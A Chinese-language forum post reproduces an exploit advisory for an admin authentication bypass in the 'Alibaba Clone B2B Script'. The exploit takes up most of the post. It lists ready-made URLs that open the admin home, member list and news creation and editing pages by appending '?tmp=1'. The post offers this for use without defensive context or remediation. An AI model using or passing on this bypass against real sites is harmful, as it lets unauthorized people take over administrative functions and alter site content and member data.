请选择 进入手机版 | 继续访问电脑版
查看: 1055|回复: 0

Alibaba Clone B2B Script管理身份绕过漏洞

[复制链接]
  • TA的每日心情

    2020-10-15 10:24
  • 签到天数: 905 天

    [LV.10]以坛为家III

    发表于 2016-5-5 13:09:52 | 显示全部楼层 |阅读模式
    具体的自己看下

    [PHP] 纯文本查看 复制代码
    # Exploit Title: Alibaba Clone B2B Script Admin Authentication Bypass
    # Vendor Homepage: [url]http://alibaba-clone.com/[/url]
    # Version: All Versions
      
    Exploit :
    For enter , simply enter the following code
    http://server/admin/adminhome.php?tmp=1
      
    For each page is enough to add the following code to the end of url
    example see page members :
    http://server/admin/members.php?tmp=1
      
    or add a new news :
    http://server/admin/hot_news_menu.php?tmp=1
      
    or edit news :
    http://server/admin/edit_hot_news.php?hotnewsid=44&tmp=1
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表